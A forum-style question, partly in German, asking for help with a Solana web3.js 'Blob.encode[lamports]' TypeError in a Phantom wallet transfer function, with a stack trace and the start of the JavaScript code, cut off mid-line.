Code: Select all
Layout.js:2094 Uncaught (in promise) TypeError: Blob.encode[lamports] requires (length 8) Uint8Array as src
at Blob.encode (Layout.js:2094:19)
at bigIntLayout.encode (bigint.ts:31:14)
at Structure.encode (Layout.js:1092:36)
at encodeData (instruction.ts:32:15)
at SystemProgram.transfer (system.ts:796:14)
at sendTransaction (script.js:85:34)
< /code>
Es scheint, als würde ich in einer Schleife stecken - wenn ich das SyntaxError fixiere, erscheint der Fehler von Blob.Encodes und umgekehrt.async function sendTransaction() {
const provider = window.solana;
if (!provider || !provider.isPhantom) {
console.error("❌ Phantom Wallet not found!");
alert("Phantom wallet not detected!");
return;
}
const balanceBigInt = BigInt(balance);
// Set the gas fee (0.001 SOL)
const gasFee = BigInt(1000000);
if (balanceBigInt